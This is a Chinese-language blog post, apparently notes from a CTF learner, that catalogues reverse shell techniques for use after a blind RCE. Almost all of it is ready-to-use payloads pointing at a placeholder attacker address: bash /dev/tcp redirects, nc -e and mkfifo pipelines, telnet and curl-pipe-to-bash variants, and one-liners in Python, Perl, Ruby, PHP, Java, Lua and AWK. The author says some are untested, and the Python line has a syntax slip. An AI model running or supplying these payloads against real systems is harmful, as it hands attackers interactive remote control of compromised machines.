总结反弹shell

前言

当面对无回显rce或者系统函数被限制时等等情况,反弹shell是一个解决问题的好选择,因此这篇博客会简单介绍反弹shell的原理以及总结一些反弹shell的方法

常见的反弹shell

bash反弹

命令:

1
bash -i >& /dev/tcp/x.x.x.x/port 0>&1	

依次解释:

  • bash -i代表着打开一个交互的bash
  • >表示重定向,目标是/dev/tcp/攻击主机ip/port
  • &表示后台运行,如果不加的话服务端仅会发送一个TCP
  • /dev/tcp/攻击主机ip/port表示是调用socket,建立socket连接
  • 0>&1表示标准输入重定向到标准输出,实现你与反弹出来的shell的交互

bash方法的反弹shell还有其他方法可以实现,例如:

1
2
exec 5<>/dev/tcp/x.x.x.x/port;
cat <&5 | while read line; do $line 2>&5 >&5; done

第一条命令建立tcp连接,并将标准输入输出作为device 5的标准输入输出。
第二条cat <&5获取device5的输入;while read line; do $line 2>&5 >&5一旦获取到命令便运行,然后将标准输入输出以及标准错误输出到device5中。

或者:

1
2
3
4
5
exec 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/port; sh <&196 >&196 2>&196
/bin/bash -i > /dev/tcp/attackerip/port 0<&1 2>&1

关闭设备 用 exec [num]>&-

原理都是类似的,但是由于linux发行版的不同,导致一些版本不能进行bash反弹shell,例如ubuntu。

nc反弹

命令1:

1
nc -e /bin/bash x.x.x.x port

这个使用也挺多的,但是如果服务器没有装nc或者nc不带e参数就用不了了,因此这时候就要用他的代餐了(bushi)。

命令2:

1
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x port >/tmp/f

同样解释一下:

  • rm /tmp/f 删除命令
  • mkfifo /tmp/f; 在tmp目录下写fifo文件f
  • /bin/sh -i 2>&1 将/bin/sh的标准错误重定向到标准输出
  • nc x.x.x.x 2333 >/tmp/f将nc监听到的输入输入到fifo

注意,应该是先获得输入输出然后将结果通过管道到nc客户端

命令3:

1
nc x.x.x.x port1|/bin/bash|nc x.x.x.x port2

这个比较简单,从port1端口获取命令,bash运行后将结果返回到port2中。

telnet反弹

使用这个方法时,需要监听两个端口,接着在目标主机执行命令:

1
telnet x.x.x.x port1 | /bin/bash | telnet x.x.x.x port2

得到反弹shell后,port1终端输入命令,port2终端就会获得执行相应命令后的结果。

curl反弹

在vps上先放一个脚本,内容就是bash反弹的payload,然后执行命令就可以了:

1
curl x.x.x.x/bash |bash

常见的脚本反弹

python

exp:

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('x.x.x.x',port);os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

perl

exp1:

1
perl -e 'use Socket;$i="[x.x.x.x]";$p=[port];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

exp2:

1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

exp:

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

exp:

1
php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");'

Java

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
	public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}

Lua

exp:

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"

AWK

攻击机器用的监听,不能输入enter,否则会断开。exp:

1
awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

总结

上面那些反弹shell的方法有些已经通过做题学习过,有些通过本地试验过,而有些还没有测试过,这篇博客主要是进行记录,如果碰到什么新的方法也会进行补充。